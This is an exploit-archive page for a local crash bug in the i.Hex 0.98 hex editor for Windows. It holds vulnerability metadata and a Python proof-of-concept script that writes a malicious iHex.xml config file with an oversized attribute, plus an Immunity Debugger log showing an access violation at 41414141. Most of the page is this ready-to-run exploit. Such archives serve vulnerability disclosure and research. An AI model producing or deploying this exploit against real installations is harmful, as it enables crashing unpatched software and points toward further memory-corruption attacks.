i.Hex Local Crash Poc

vendor:

i.Hex

by:

metacom

5.5

CVSS

MEDIUM

Local Crash

CWE

Product Name: i.Hex

Affected Version From: i.Hex-v0.98 (Win32 Release)

Affected Version To: i.Hex-v0.98 (Win32 Release)

Patch Exists: NO

Related CWE:

CPE: a:memecode:i.Hex:0.98

Metasploit:

Other Scripts:

Platforms Tested: Windows

2014

i.Hex is a small and free graphical Hex Editor for Windows. The vulnerability allows an attacker to create a malicious iHex.xml file that can crash the i.Hex software.

Mitigation:

There is no known mitigation for this vulnerability.

Source

Exploit-DB raw data:

#!/usr/bin/python
#Exploit Title:i.Hex Local Crash Poc
#Homepage:http://www.memecode.com/ihex.php
#Software Link:www.memecode.com/data/ihex-win32-v0.98.exe
#Version:i.Hex-v0.98 (Win32 Release)
#Description:i.Hex is a small and free graphical Hex Editor for Windows..
#Tested on:Win7 32bit 
#Exploit Author:metacom --> twitter.com/m3tac0m
#Date:05.11.2014
'''
Immunity Debugger Log data
EAX 0135B8F8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ECX 41414141
EDX 41414141
EBX 01363FA0
ESP 0012F6D8
EBP 0012F700
ESI 0135B8F0
EDI 005F0000
EIP 77B85FBD ntdll.77B85FBD

Press Shift+9
Log data, item 0
Address=77B85B44
Message=[15:56:05] Access violation when reading [41414141]
'''
print "\n[*]Vulnerable Created iHex.xml!"
print "[*]Copy iHex.xml to C:\Program Files\Memecode\i.Hex"
print "[*]Start i.Hex"
print "[*]------------------------------------------------"
poc="\x41" * 100000
header = "\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30\x22\x20\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22"
header += "\x55\x54\x46\x2d\x38\x22\x20\x3f\x3e\x0a\x3c\x4f\x70\x74\x69\x6f\x6e\x73\x20\x49\x73\x48\x65\x78\x3d\x22\x31\x22\x0a\x09"
header += "\x20\x4c\x69\x74\x74\x6c\x65\x45\x6e\x64\x69\x61\x6e\x3d\x22\x0a" + poc
footer = "\x22\x0a\x09\x20\x50\x6f\x73\x3d\x22\x31\x30\x30\x2c\x31\x30\x30\x2c\x35\x30\x30\x2c\x34\x30\x30\x22\x3e\x0a\x09\x3c\x4d"
footer += "\x72\x75\x20\x49\x74\x65\x6d\x73\x3d\x22\x30\x22\x0a\x09\x09\x20\x49\x74\x65\x6d\x30\x3d\x22\x22\x20\x2f\x3e\x0a\x3c\x2f"
footer += "\x4f\x70\x74\x69\x6f\x6e\x73\x3e\x0a"
payload= header + footer
# Write out our malicious file
writeFile = open ("iHex.xml", "wb")
writeFile.write( payload )
writeFile.close()